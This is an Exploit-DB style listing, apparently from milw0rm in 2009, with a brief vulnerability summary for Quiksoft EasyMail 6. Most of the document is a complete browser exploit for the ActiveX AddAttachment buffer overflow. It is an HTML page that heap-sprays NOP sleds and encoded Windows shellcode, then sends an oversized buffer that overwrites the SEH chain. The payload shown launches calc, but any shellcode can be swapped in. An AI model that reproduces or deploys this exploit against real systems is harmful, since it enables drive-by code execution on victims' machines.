Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit

vendor:

EasyMail 6

by:

bmgsec

7.5

CVSS

HIGH

Remote Buffer Overflow

CWE

Product Name: EasyMail 6

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit

This exploit takes advantage of a remote buffer overflow vulnerability in Quiksoft EasyMail 6. The vulnerable method is AddAttachment. The latest version of the software does not support this method. The exploit was created out of boredom and interest sparked by a similar post. For more details, refer to the advisory at http://www.bmgsec.com.au/advisory/48/.

Mitigation:

Source

Exploit-DB raw data:

<html>
 <head>
    <!--
      -- Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit
      -- 
      -- Its old and the latest version doesn't support this method. 
      -- I was bored and a similar post sparked my interest. 
      -- 
      -- Advisory: http://www.bmgsec.com.au/advisory/48/
      -- 
      -- Written by:
      -- bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
      --  -->
 <title>Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow Exploit</title>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9' id='test'></object>
<script language='javascript'>
       function str_repeat ( input, multiplier ) {
               return new Array(multiplier+1).join(input);
       }

       //windows/exec CMD: calc Size: 144 bytes Encoder: x86/shikata_ga_nai ExitFunc: SEH
       shellcode = unescape("%uc931%u1eb1%ue2b8%udc1f%ud9cc%ud9e5%u2474%u5bf4%u4331%u830f%ufceb"+
                            "%u4303%ufde9%u3029%u4505%uc9d2%ucdd5%uf597%uad5e%u7e12%ua161%u3196"+
                            "%ub679%uedf6%u2378%u6541%u384e%u9753%ufe9f%ucbcd%u3e5b%u1499%u75a2"+
                            "%u1a6f%u61e6%u2784%u51b2%u2d61%u11df%ue936%ucd1e%u7aaf%u5a2c%u22bb"+
                            "%u5d30%u5750%ud654%u83a7%ub4ed%u5783%u1b2e%ua1fd%uf2d0%uc699%ucb56"+
                            "%u99ea%ua05a%u059d%u3dcf%u3e35%uba86%ufe45%u6af2%u0f22%u8f88%u87ed"+
                            "%u7114%u569b%u7173%u057b%ue11a%ucae7");

       bigblock = unescape("%u9090%u9090");
       headersize = 20;
       slackspace = headersize + shellcode.length;

       while (bigblock.length < slackspace)
               bigblock += bigblock;

       fillblock = bigblock.substring(0, slackspace);
       block = bigblock.substring(0, bigblock.length - slackspace);

       while (block.length + slackspace < 200000)
               block = block + block + fillblock;

       memory = new Array();
       for (i=0; i<500; i++)
               memory[i] = block + shellcode;

       buffer = str_repeat('A', 433);
       buffer += "BBBB";
       buffer += str_repeat(unescape("%0b%0b%0b%0b"), 63);

       test.AddAttachment(buffer, 1);
</script>
</head>
</html>

# milw0rm.com [2009-09-17]